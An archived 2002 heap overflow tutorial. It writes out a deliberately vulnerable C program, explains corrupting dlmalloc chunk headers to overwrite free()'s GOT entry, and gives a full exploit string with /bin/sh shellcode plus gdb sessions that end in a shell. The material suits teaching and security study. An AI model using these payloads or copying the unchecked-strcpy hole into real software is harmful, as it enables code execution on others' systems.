home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / heap / heap-tute.txt
Encoding:
Text File  |  2002-10-21  |  12.3 KB  |  317 lines

  1.             HEAP OVERFLOW TUTORIAL
  2.  
  3.  
  4. INTRODUCTION
  5.  
  6.      This paper was written for users who want a practical demonstration
  7. of a heap overflow being exploited.  Please practice on linux, for it uses
  8. Doug Lea's malloc.  I used RedHat 7.2.
  9.  
  10. I THE VULNERABLE LOCAL BINARY
  11.  
  12.     I created this contrived example for this paper.  If you do not see
  13. the problem, I cannot help you.
  14.  
  15. /* a.c */
  16.  
  17. #include <stdio.h>
  18.  
  19. int main(int argc, char **argv)
  20. {
  21.  
  22.  char *buf1, *buf2, *buf3;
  23.  
  24.   if(argc == 1) {
  25.     printf("\nThis program takes a string as an arguement.\n");
  26.     return(0);
  27.   }
  28.  
  29.   buf1 = (char *) malloc(56);
  30.   buf2 = (char *) malloc(56);
  31.   buf3 = (char *) malloc(56);
  32.  
  33.   strcpy(buf2,"CCCCCCCCCCCCCCCC");
  34.   strcpy(buf1, argv[1]);
  35.  
  36.   printf("\n%s\n", buf1);
  37.  
  38.   free(buf2);
  39.   free(buf1);
  40.  
  41.   strcpy(buf3, "END OF PROGRAM");
  42.   printf("\n%s\n", buf3);
  43.  
  44.   free(buf3);
  45.  
  46.   return(0);
  47.  
  48. }
  49.  
  50.     Compile the file with -ggdb flag.  Experiment with it and activate
  51. the bug.  If you do not know what to expect I cannot help you.
  52.  
  53. II DISCUSSION OF STRATEGIES
  54.  
  55.     Obviously we control the contents of buf1 and can potentially overflow
  56. buf2 and buf3's chunk information.  Looking at it the first thing that comes
  57. to my mind is the off by five technique.  This will not work though.  In order
  58. to trick the first free() to think previous chunk is freed and to "go backwards
  59. to buf1" we would need to write a positive integer to buf2's previous size
  60. chunk data area.  This would mean a null byte or three in our string, which we
  61. cannot do in a practical way.
  62.  
  63.     This means we would want to corrupt the first 8 bytes of buf2.  This
  64. way we can create a virtual chunk directly after buf2's first 16 bytes, and
  65. while we are at it the shellcode will go right after with slight modifications.
  66. I should probably mention I plan to overwrite the GOT ptr - 12 for free(), and
  67. the return address will soon be obvious.
  68.  
  69.     I suppose a ascii diagram is in order.
  70.  
  71.   <56 bytes of crap> <previous size of buf2> <size of buf2> <8 bytes of crap>
  72.   <ptr safe 4 bytes> <ptr safe 4 bytes> <ptr to overwrite location - 12>
  73.   <return addy> <jump ahead 12> <12 bytes of crap> <shellcode of your choice>
  74.  
  75.     Now i am gettig drunk on July 3rd.  Tommorrow off, sweet.  Anyway, refill.
  76. Brb.  I admit it looks ugly, but those null bytes...  The easiest way to get the
  77. GOT pointer to overwrite is "objdump -R a | grep free".  Remember to subtract 12
  78. bytes from that number. As for the return address, if you cannot figure that out
  79. I cannot help you.
  80.  
  81.     Now I should show the usual gdb output I guess.  Here is a session of mine.
  82.  
  83. [fc@localhost fc]$ gcc -ggdb -o a a.c
  84. [fc@localhost fc]$ gdb a
  85. GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
  86. Copyright 2001 Free Software Foundation, Inc.
  87. GDB is free software, covered by the GNU General Public License, and you are
  88. welcome to change it and/or distribute copies of it under certain conditions.
  89. Type "show copying" to see the conditions.
  90. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  91. This GDB was configured as "i386-redhat-linux"...
  92. (gdb) break strcpy
  93. Breakpoint 1 at 0x80483e8
  94. (gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  95. Starting program: /home/fc/a aaaaaaaaaaaaa...
  96. Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.
  97.  
  98. Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)
  99.     at ../sysdeps/generic/strcpy.c:34
  100. 34      ../sysdeps/generic/strcpy.c: No such file or directory.
  101.         in ../sysdeps/generic/strcpy.c
  102. (gdb) cont
  103. Continuing.
  104.  
  105. Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb86 'a' <repeats 60 times>)
  106.     at ../sysdeps/generic/strcpy.c:34
  107. 34      in ../sysdeps/generic/strcpy.c
  108. (gdb) x/4x 0x8049858
  109. 0x8049858:      0x00000000      0x00000041      0x43434343      0x43434343
  110. (gdb) break chunk_free
  111. Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
  112. (gdb) cont
  113. Continuing.
  114.  
  115. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  116.  
  117. Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
  118. 3166    malloc.c: No such file or directory.
  119.         in malloc.c
  120. (gdb) x/4x 0x8049858
  121. 0x8049858:      0x61616161      0x00000000      0x43434343      0x43434343
  122. (gdb) cont
  123. Continuing.
  124.  
  125. Program received signal SIGSEGV, Segmentation fault.
  126. 0x400a5b2d in chunk_free (ar_ptr=0x40157160, p=0xa6a336f7) at malloc.c:3225
  127. 3225    in malloc.c
  128.  
  129.     I wanted to show why the off by five technique wouldn't work for me.
  130. Do you see the last value for 'p' above?  That is 0x8049858 - 0x61616161 =
  131. 0xa6a336f7 , so this means to me we have pretty good control of 'p'.  This is
  132. a critical main idea.
  133.     Now why wouldn't the off by five work?  Becuase I cannot have null
  134. bytes in my one main string (argv[1]).  The smallest positive integer I could
  135. place there without a null byte is 17895697 (0x01111111), and that goes
  136. too far "backwards".  Also, the amount of A's is the smallest amount to cause
  137. a seg.  Remember that buf2's previous size data area doesn't come into play
  138. until the chunk is freed or appears to be freed.
  139.  
  140.     Ok, so in summary, the above gdb output shows me overflowing into
  141. buf2 by one byte.  That null byte overwrites 0x00000041.  That null byte
  142. does one main thing.  It makes the least significant bit of buf2's size chunk
  143. area 0.  That means previous chunk behind buf2 is 'freed', but it really isn't.
  144. But since it appears the previous chunk is freed, one can control the free()
  145. and its one arguement, a pointer.  The only problem is making it "go backwards",
  146. going "forwards" is ideal.  That is exactly what we will do instead of the off
  147. by five technique and a virtual chunk behind buf2.
  148.  
  149. III EXPLOITING THIS CONTRIVED EXAMPLE
  150.  
  151.     That ascii diagram basically shows the layout.  But I will show how
  152. I got the correct information.
  153.  
  154.     Now since the strcpy src we control has to be 'used' up, I supplied 
  155. 56 bytes of assorted garbage.  I used,
  156. "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!", which is 56
  157. bytes long.  This corresponds to the ascii diagram, <56 bytes of crap>.
  158.  
  159.     The next part in the ascii diagram is, <previous size of buf2>,
  160. and we want this to be -16.  The reason why for -16 is because we cant have
  161. a small positive integer and we want the pointer to free() to 'jump'
  162. ahead 16 bytes.  I used 0xfffffff0 which is -16 in hex.
  163.  
  164.     Next, is buf2's size chunk area.  This value has to have the least
  165. significant bit set to 0 and the 2nd least significant bit set to zero also
  166. to be on the safe side.  I used 0xfffffffc which works out well.
  167.  
  168.     The next 8 bytes can be anything you want except null bytes.
  169.  
  170.     The next two groups of 4 bytes just need to be pointer safe.  In
  171. the sense they do not contain null bytes and one can add to a pointer
  172. without causing a problem.
  173.  
  174. [fc@localhost fc]$ objdump -R a | grep free
  175. 08049728 R_386_JUMP_SLOT   free
  176.  
  177.     This is the GOT pointer for free(). This part of the ascii diagram.
  178. <ptr to overwrite location - 12>.  The reason for subtracting 12 bytes is
  179. because that data isnt in our control.  It is overwritten before the shell-
  180. code executes and that works around it.
  181.  
  182.     The <return addy> is simply where your shellcode begins.  To be
  183. exact, it is where that jump ahead 12 shellcode is, <jump ahead 12>
  184.  
  185.     Pretty self-explanatory,  <12 bytes of crap>.
  186.  
  187.     And this is also pretty straight-forward, <shellcode of your choice>.
  188.  
  189.     So, let me craft my string for argv[1].  
  190.  
  191. <56 bytes of crap>
  192.     thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
  193. <previous size of buf2>
  194.     \xf0\xff\xff\xff
  195. <size of buf2>
  196.     \xfc\xff\xff\xff
  197. <8 bytes of crap>
  198.     \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
  199. <ptr safe 4 bytes> 
  200.     \xfc\xff\xff\xff
  201. <ptr safe 4 bytes>
  202.     \xfc\xff\xff\xff
  203. <ptr to overwrite location - 12>
  204.     \x1c\x97\x04\x08
  205. <return addy>
  206.     \x78\x98\x04\x08
  207. <jump ahead 12>
  208.         \xeb\x0c
  209. <12 bytes of crap>
  210.     \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
  211. <shellcode of your choice>
  212.     \xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56
  213.     \x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b
  214.     \xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh
  215.  
  216.     So let me do another gdb session, and finish up with a run on
  217. the command line.
  218.  
  219. [fc@localhost fc]$ gdb a
  220. GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
  221. Copyright 2001 Free Software Foundation, Inc.
  222. GDB is free software, covered by the GNU General Public License, and you are
  223. welcome to change it and/or distribute copies of it under certain conditions.
  224. Type "show copying" to see the conditions.
  225. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  226. This GDB was configured as "i386-redhat-linux"...
  227. (gdb) break strcpy
  228. Breakpoint 1 at 0x80483e8
  229. (gdb) run `perl -e ' print "thisismyexploitforthecontrivedexampleinmyheaptutor
  230. ial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff
  231. \xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c\xfc\xfc\xfc
  232. \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2
  233. \x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b
  234. \x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`
  235.  
  236. Starting program: /home/fc/a `perl -e ' print "thisismyexploit...
  237. Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.
  238.  
  239. Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>) 
  240. 34      ../sysdeps/generic/strcpy.c: No such file or directory.
  241.         in ../sysdeps/generic/strcpy.c
  242. (gdb) cont
  243. Continuing.
  244.  
  245. Breakpoint 1, strcpy (dest=0x8049820 "",
  246.     src=0xbffffb2a "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
  247.                    ≡   ⁿ   ⁿⁿⁿⁿⁿⁿⁿⁿⁿ   ⁿ   \034\227\004\bx\230\004\bδ\f", 
  248.                    'ⁿ' <repeats 12 times>, "δ$^\215\036\211^\0133╥\211V\a\211V
  249.                    \017╕\eV4\0225\020V4\022\215N\013\213╤═\2003└@═\200Φ╫   
  250.                    /bin/sh") at ../sysdeps/generic/strcpy.c:34
  251. 34      in ../sysdeps/generic/strcpy.c
  252. (gdb) break chunk_free
  253. Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
  254. (gdb) x/4x 0x8049858
  255. 0x8049858:      0x00000000      0x00000041      0x43434343      0x43434343
  256. (gdb) cont
  257. Continuing.
  258.  
  259. thisismyexploitforthecontrivedexampleinmyheaptutorial!!!≡   ⁿ   ⁿⁿⁿⁿⁿⁿⁿⁿⁿ   ⁿ   xδ
  260.    ⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿδ$^ìë^
  261.                      3╥ëVëV╕45V4ìN
  262.                                   ï╤═Ç3└@═ÇΦ╫   /bin/sh
  263.  
  264. Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
  265. 3166    malloc.c: No such file or directory.
  266.         in malloc.c
  267. (gdb) x/4x 0x8049858
  268. 0x8049858:      0xfffffff0      0xfffffffc      0xfcfcfcfc      0xfcfcfcfc
  269. (gdb) x/4x 0x8049868
  270. 0x8049868:      0xfffffffc      0xfffffffc      0x0804971c      0x08049878
  271. (gdb) x/4x 0x8049878
  272. 0x8049878:      0xfcfc0ceb      0xfcfcfcfc      0xfcfcfcfc      0x24ebfcfc
  273. (gdb) x/4x 0x8049888
  274. 0x8049888:      0x891e8d5e      0xd2330b5e      0x89075689      0x1bb80f56
  275. (gdb) x/4x 0x8049898
  276. 0x8049898:      0x35123456      0x12345610      0x8b0b4e8d      0x3380cdd1
  277. (gdb) x/4x 0x80498a8
  278. 0x80498a8:      0x80cd40c0      0xffffd7e8      0x69622fff      0x68732f6e
  279. (gdb) x/4x 0x80498b8
  280. 0x80498b8:      0x00000000      0x00000000      0x00000000      0x00000000
  281. (gdb) cont
  282. Continuing.
  283.  
  284. Program received signal SIGTRAP, Trace/breakpoint trap.
  285. Cannot remove breakpoints because program is no longer writable.
  286. It might be running in another process.
  287. Further execution is probably impossible.
  288. 0x40001de0 in _start () at rtld.c:158
  289. 158     rtld.c: No such file or directory.
  290.         in rtld.c
  291. (gdb) quit
  292. The program is running.  Exit anyway? (y or n) y
  293. [fc@localhost fc]$
  294.  
  295.     Well, that looks pretty good to me.  I will now try running it
  296. on the command line.
  297.  
  298. [fc@localhost fc]$ ./a `perl -e ' print "thisismyexploitforthecontrivedexample
  299. inmyheaptutorial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc
  300. \xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c
  301. \xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e
  302. \x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12
  303. \x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`
  304.  
  305. thisismyexploitforthecontrivedexampleinmyheaptutorial!!!≡   ⁿ   ⁿⁿⁿⁿⁿⁿⁿⁿⁿ   ⁿ   xδ
  306.   ⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿⁿδ$^ìë^
  307.                     3╥ëVëV╕45V4ìN
  308.                                  ï╤═Ç3└@═ÇΦ╫   /bin/sh
  309. sh-2.05$
  310.  
  311.     That is a wrap.  Take it easy and keep practicing.
  312.  
  313.  
  314.  
  315.  
  316.  
  317.